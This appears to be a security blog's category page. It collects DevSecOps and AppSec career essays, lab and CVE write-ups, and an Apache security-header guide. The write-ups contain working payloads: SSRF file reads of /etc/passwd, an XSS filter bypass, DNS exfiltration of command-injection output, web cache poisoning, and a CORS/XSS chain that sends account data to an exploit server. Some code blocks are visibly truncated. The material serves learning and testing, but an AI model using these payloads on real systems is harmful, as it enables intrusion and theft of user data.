Skip to content

Category: Web Security

Purpose of DevSecOps and its future

“…make sure that the constraint is not allowed to waste any time. Ever. It should never be waiting on other resource for anything, and it should always be working on the highest priority commitment the IT Operations organization has made to the rest of the enterprise. Always.”

The Phoenix project

The NUMBER ONE constraint in Security department is people.

It is unlikely we can hire enough people to match the number of developers and operations engineers.

The way to free up our constraint (people) is to try to automate as many tasks as possible so that the people can do the things that are unique and contextual.

Another way is to take a preventative approach by educating developers and ops engineers on best security practices that they need to follow (this means secure by defaults configurations, having documentation and guides). The famous Netflix’s paved roads….

any improvement not made at the constraint is just an illusion, yes?

The Phoenix project

Crafting your AppSec Learning Methodology

Information Security is a broad field with many specialties such as Infrastructure Security, Cloud Security, Container Security. DevOps automation and Application Security (Source Code / Design level) etc. In real life context, an Application Security may need to focus on a few specialties since modern applications are using Cloud PaaS / IaaS and Containers.

Since there are so many specialties to learn, you may get overwhelmed by the knowledge and how to apply what you learn on the actual context. I read an interesting Div0 post on a cybersecurity career discussion panel on this topic:

Many aspiring cybersecurity practitioners say they are passionate about cybersecurity. But they have no work to show/prove their passion. Don’t just say you are passionate. Do it, show it!

There’s no shortage of aspiring cybersecurity practitioners who want to learn. However, there’s a lack of drive on how they can contribute to the organization. Continuous learning in a fast-moving industry like cybersecurity is important. However, you should also focus on how you can apply your skills (emphasis mine).

Cybersecurity is not just about technical skills. In fact, picking up technical skills is the easy bit. Shaping your attitude and mindset in how you deliver the promise your clients entrusted in you plays a much bigger role.

An essential characteristic to have in the industry is Grit — the passion and sustained persistence towards long-term achievement.

In a wide discipline like cybersecurity, it is important to collaborate and bounce ideas with fellow practitioners — that’s how you push the boundary.

The mad rush to get all the fancy certifications is not healthy. There’s no point being certified but you still can’t get a complete grasp on security controls or even the fundamentals. Focus on building up your skillset, not the alphabets behind your name.

Often Application Security new joiners have to learn development skills on their own projects if they are not joining from development background. They may be pentesters, sysadmin, DevOps engineers or career changers coming from another field. Each of them have their own unique perspectives.

You need to understand development but…

If you see in many Application Security job descriptions, many companies require development background. This requirement ensures that you can empathize with the development team that you will be working closely with.

Be careful not to become too developer-like because you will lose independent assessment since you are too close to the development team. For example, some developer tells you that this SQL injection is not a risk since the string values come from hardcoded config file. If you get too close to dev team, you might accept the risk without pointing out additional caution.

However, from another independent perspective, this means that SQL injection can happen if a rogue developer / QA / devops change the config file to a SQLi payload. The long-term solution is actually to use parameterized query and prepared statement even though the values are hardcoded. However if you get too close to dev team, you will start to feel their pain and deadlines if the feature is not released on time. So you might not even suggest the team to pick a more secure approach. Or you might ask the team to add this suggestion to backlog. It remains to be seen whether the safer approach will be adopted since there is always another new feature to complete.

Security Champions might also struggle to give independent assessment especially since they are part of the dev team. Moreover, many of them are developers or QA and have deadline and user stories to complete as well. Therefore Security Champions cannot do it alone and need pairing with the internal Security SME to give a balanced assessment.

On the other hand, you are too far from the development team, you will start suggesting crazy security activities from some PDFs or slides that will never gain any traction with the development team. Many good ideas sound great in powerpoint slides but difficult to gain traction in practice because real world has more decision-making factors in which security is just one of them. You need to at least understand some of these major factors such as business risk appetite, ROI, regulatory requirements etc.

Not enough to learn Development

To understand Application Security in depth, the newbies have to pick up coding and software development concepts such as MVC etc. on their side projects or on the job. It will take time and requires a lot of experimentation, readings, note-taking and questioning.

You shouldn’t just learn coding like watching a Udemy course on Web Development or Mobile Development. After all, your job also consist of the security aspects of delivery. Most of the development courses will not mention Application security topics. This means that you need to create your own contexts to apply every topics that you have watched on Application Security.

An example of I apply newly learned security knowledge to coding

Recently, I attended an online webinar on building secure React applications. This is an informative talk with hands-on examples that I recommend people to watch.

My first thought is to find the React code that I wrote on my own.

import React from 'react';

const Option = (props) => {
    return (
                onClick={(e) => {

export default Option;

Previously, my understanding was that ReactJS is secure by default library and XSS is difficult to achieve unless developer use dangerouslySetInnerHTML. But from the video, I updated my understanding of ReactJS and recognized more XSS attack surface.

Then I tried to modify my React component code to create the XSS vulnerability. Imagine the developer thinks that getting the name from props is safe to use in href.

import React from 'react';

const Option = (props) => {
    return (
            <a href={}>Click for more info</a>
                onClick={(e) => {

export default Option;

But if the attacker include JavaScript url, then there is a stored XSS issue.

From now, when I look at ReactJS code, I will also include such checks in my code review methodology. Or when I am looking at ReactJS app, I will be more awareness of more things to look out for such as href and src tags etc.

Testing for SSRF during PDF Generation

How to test for SSRF during PDF Generation?

User input is reflected in the PDF.

HTML elements are parsed by the PDF Generator Libraries.

Research the specific types of data that can be parsed by the target’s PDF Generator Library in order to generate a payload


If HTML is parsed directly:



Redirect with iframe



<iframe src="">


<iframe src="file:///etc/passwd">

WeasyPrint PDF Test

Trying to embed a secret file in the PDF? You can try this payload if the target is parsing a HTML page. One thing that you can do is host the index html file in Heroku etc. and pass it to the target’s PDF generation endpoint.

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <title>WeasyPrint PDF Test</title>
    <link rel=attachment href="file:///{path_to_secret_file}">
    <h1>WeasyPrint PDF Test</h1>

In the PDF reader, open up the Attachment section and view the embedded file.


Notes on Blind SQL Injection

Lab: Blind SQL injection with conditional responses

In this lab, we are using the responses to enumerate the password of the “administrator” account. First, we need to perform a check on whether the “administrator” account exists and the length of the password. Once this is done, we will perform a substring query to enumerate each of the character of the password.

You can use Burp Repeater or Intruder to enumerate the password. I find both methods to be time-consuming. I wrote a script to enumerate the password instead. The script will look for “Welcome” value in the response. If it is true, the script will note down the character and continue to the next position until all the password character is enumerated.

Writeups on Free Challenges in BugBountyHunter

In this post, I will share some writeups on the free challenges in BugBountyHunter platform. I encourage everyone to check out the site

Cross-Site Scripting in Image Tag

How does the feature works? If you select the dropdown option, the image will be rendered with special effects using CSS. In the img tag, we can see the selected option value will appear in class.

What could go wrong? The POST request looks suspicious.


There is no server side validation of the imageClass value. You can send any value and it will be reflected in the response.


We can try sending a few payloads to test for XSS issue. First, we can modify the imageClass value to imageClass=helloworld" onload="alert(1)". The response return a class="1" in the tag. We can try imageClass=helloworld" onclick="alert(1)". The response also return class="1" in the tag.

It seems like there is some blacklisting of some keywords such as onload or onclick etc. Hence we need to find the event handler method that is not blacklisted. Fortunately, this payload was not blocked: img2" onpointerup="alert('xss').

When we click on the image in the browser, the malicious script is executed.

Notes on Web Cache Poisoning

An attacker can use Web Cache Poisoning technique to send malicious response to other users. The poisoning will happen when certain unkeyed inputs are not validated by the application and allowing the malicious response to be cached.

Basic Example: Unkeyed Header

In the request, the attacker discovered that the X-Forwarded-Host value will be reflected in response. The application tries to load a tracking.js file from cache resources. When the attacker passes a specific host in X-Forwarded-Host parameter, the tracking.js file will be loaded from another path <malicious host>/resources/js/tracking.js. Consequently, this allows the attacker to control the content of tracking.js file and load malicious JavaScript (potentially leading to issues such as XSS).

Unkeyed header

Case of Unknown Header

In most situations, you will need to guess the unkeyed header. If you are using Burp Suite, then Paraminer will be a useful plugin to use.

First, go to the Target tab and select the paths in scope. Then right click on all these selected paths and click Guess Header.

If you are using Burp Pro, then you can see the result appearing in Dashboard - Issue activity.

Some sites may use the Vary header in the response to decide when to use the cached response or to refresh the response from the server. In the lab example, we can see that User-Agent is used to decide when the cached is used. To target your victim, you will need to know their User-Agent and then use the User-Agent values in your poison payload.

In our poison request, we have used X-Host and the victim’s User-Agent. Keep sending the request until you see the X-Cache is hit
In the Vary header, we see that User-Agent is used to decide the cache response decision.

DOM XSS from Web Cache Poisoning

In this example, we see how Web Cache Poisoning can cause DOM XSS in an application. In some cases, an application is taking some properties value from a JSON and then use the value dynamically in a DOM. The assumption is that these properties values can be trusted since they are controlled by the application. However if an application is susceptible to Web Cache Poisoning, then these properties value can be controlled by the attacker.

In the example, we first see that that there is a host injection issue. If you use X-Forwarded-Host, then the injected host value will be reflected in the response.

In the response, we can also see that the injected host name will be used for retrieving a JSON value. Using the given exploit server (in the lab), we can see the access log showing that a user is making a GET request to retrieve geolocate.json file.

If we examine the JavaScript carefully, we can see that the country value is taken from the JSON file and then assigned to innerHTML. This is a classic DOM XSS attack surface to take note.

After doing some tracing of the original JSON value, we can see that there is a property called ‘country’ which contains the value that will be passed to the innerHTML.

UI showing the JSON value

Since we found the attack surface, we can now create a JSON file in the exploit server. This will return a JSON which contains the DOM XSS payload. Access-Control-Allow-Origin need to be wildcard in order for the object to be shared with the application.

After this is completed, then we can see that the Web Cache Poisoning will be successful and the DOM-XSS payload will be executed.


Testing Blind Command Injection with Burp Collaborator

Recently, I was doing a few labs on Command Injection. It was mentioned that in most situation, the tester will not be able to see the response of the injected command. Therefore, alternative ways will need to be explored to check if the Blind Command Injection exists in the web application.

One of the ways that we can validate the existence of the Blind Command injection is to inject a nslookup command. In this scenario, we can use Burp Collaborator to validate if the web application has performed a DNS lookup. Please refer to this lab for more details.

First, you will need to click “Copy to clipboard” in the Burp Collaborator client. Insert the copied URL into the vulnerable parameter. Send this request to the web server.

Example: & nslookup &

Secondly, you can click “Poll now” in the Burp Collaborator client. If there is a new DNS lookup appearing, it means that the Blind Command Injection is working.

In addition, you can also extract the output of the command using the below payload:


In Burp Collaborator, we can see that there was a DNS lookup to the domain (containing the whoami result).

Write-up on CVE-2019-11776 – Reflected XSS in BirtViewer

This is a write-up on public disclosed CVE-2019-11776 where a Cross Site Scripting (Reflected) was found in the __format URL parameter by  Vineet Pandey.

So far in my journey, I have done quite a few of Pentesterlab exercises. From these exercises, I learned how important it is to perform a practical testing of any disclosed vulnerabilities as it builds up your system administrative skills (setting up server etc.) and imagine the attack flow for any future applications that you will be testing. You can jump straight into the exploit demonstration first if that interests you more.

Configuring Tomcat

Install Tomcat in your machine (using the exe or zip) and go to the folder location. In this write-up, I am using Tomcat version 8.5. You will find a similar directory as below:

Navigate to the conf folder and open the tomcat-users.xml file (note that the password is for testing and should not be used for production). Add the following lines between the <xml> and <tomcat-users> tag as you need the credentials to login to the manager gui later on.

<role rolename="manager-gui"/>
<user username="tomcat" password"tomcat" roles="manager-gui"/>

Configuring BirtViewer

Download BirtViewer (any version that is <= 4.7). I am using version 4.7 for this write-up. You can look for Birt Report Engine (

After you download the zip file, you should unzip the content into a folder. In this particular folder, look for the WebViewerExample folder.

Copy the entire WebViewerExample folder to Tomcat’s webapps folder. Rename the copied folder to birt-viewer.

Go back to the Tomcat’s bin folder and run the startup script (in Windows, it will be startup.bat. The resources will now be hosted under localhost:8080. Then open the following URL in your browser (http://localhost:8080/manager/html). The credential will be prompted (enter the credential that you earlier used in the tomcat-users.xml file). You should see that birt-viewer is running.

Demonstrating the Vulnerability

After Tomcat and BIRT Viewer are configured, you should open this endpoint:


You will see a Parameter UI box appearing. In the CustomerNumber, enter 1 and then click OK. This will generate a report from test1.rptdesign template.

Now click on the print report button (see circled icon in the screenshot below). Choose HTML and click OK.

There will be a new Window popping out and the prompt you to print the report. Now, cancel the print action. What we are interested is the URL of this Window pop-out. Copy this URL and then close the Window.


Now, let’s check how our input is reflected in the HTML page. First, append the following payload in __format parameter:


From the HTML source, you can see that our appended payload is appearing in the <script> tag. It seems like the viewer is generating the format string dynamically. If we add abc, then the string will become htmlabc (as seen below).

Now, let’s try to close the html string and then insert another value. You will find that we can actually break out of the format variable to call another method.


After observing this dynamic creation of string, we can insert an alert payload to confirm that XSS exists in the Birt Viewer.



Upgrade to at least version 4.8.

Configuring Security Headers in Apache

This post explores some security configurations that Developers / DevOps engineer can consider when Apache server is used by the application.

The first thing to do is to identify the location of the httpd.conf file in the Apache server. This is the file where we will add the additional security settings to the server. Make sure ‘#’ is removed from the line “LoadModule headers_module modules/”. Restart the server after the changes are made in order to see the effects.

Secure Cookie:

Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure;SameSite=Strict

Note that if you are testing the localhost, Chrome browser will not display cookie because localhost is using http. Session cookie is used (In cookie expires, it should show session)

Cross-Frame Scripting (XFS) protection:

Header set Content-Security-Policy "frame-ancestors none;"
Header set X-Frame-Options: "DENY"

Preventing Information Disclosure about the server and language

The following setings will remove Apache Version information from the error messages and header response.

ServerSignature Off
ServerTokens Prod

In php.ini config file, set expose_php as off to remove PHP version in the header response.




CORS Misconfiguration

When testing for CORS Misconfiguration, modify the Origin in the request to another URL ( and then look at the Access-Control-Allow-Origin see if this arbitrary URL is allowed. If so, then the server is likely to be using wildcard that allows all origin.

Web Security Academy Lab Write-outs

(a) CORS vulnerability with basic origin reflection


In this lab, we first confirm that wildcard is used by changing the Origin to an arbitrary URL. After we sent the request, we can see that it is appearing under Access-Control-Allow-Origin.

Then, we exploited the scenario where Access-Control-Allow-Credentials is set as True. This means that the response from server is telling the browser to expose the response to front-end JavaScript code.

Now we will need to write an exploit to make a request to the vulnerable endpoint and then append the credentials to the response parameter. In this case, Portswigger have made our lives easier by providing us an exploit server. So we simply provide the JavaScript exploit code and execute them. The exploit server also show us the logs as well for verification. If someone is logged in and click on the link from the exploit server, then we can see the API key being appended to the server log.

(b) Chaining XSS with CORS vulnerability to break TLS

This is a writeup on the lab:

First, we need to identify where the XSS vulnerability is. And if we navigate and test the application, we can see that the stock checking feature has a XSS vulnerability. Try testing a few payload to verify.

Now the next part of the chain requires login to the Application (using the credentials provided). Then, we will exploit the XSS to execute JavaScript that send a request to the endpoint that has CORS vulnerability.

var req = new XMLHttpRequest(); 
req.onload = reqListener;'get','',true); 
req.withCredentials = true;
function reqListener() { 

We are sending GET request to the /accountDetails path because the response of the endpoint has configured Access-Control-Allow-Credentials as true.

In our request, we can notice that the request is configured withCredentials as true. This allows the request to send cookie to the server. And the server must set response with the header Access-Control-Allow-Credentials to be true as well to allow cookies / user credential to be included in CORS request.

Suppose you didn’t set withCredentials in the request header. What you will see is that the request will be unauthorized since the cookie is not sent to the server.

Now try the save the following script as home.html and open it in the browser. We will be able see an alert pop-out that displays the user account information:

   document.location="<script>var req = new XMLHttpRequest(); req.onload = reqListener;'get','',true); req.withCredentials = true;req.send();function reqListener() { alert(this.responseText) };%3c/script>&storeId=1"

Instead of using alert, we will use location and set as (exploit server URL + this.response.text). Then add the exploit script to the exploit server and send it to the administrator.

   document.location="<script>var req = new XMLHttpRequest(); req.onload = reqListener;'get','',true); req.withCredentials = true;req.send();function reqListener() {location=''%2bthis.responseText; };%3c/script>&storeId=1"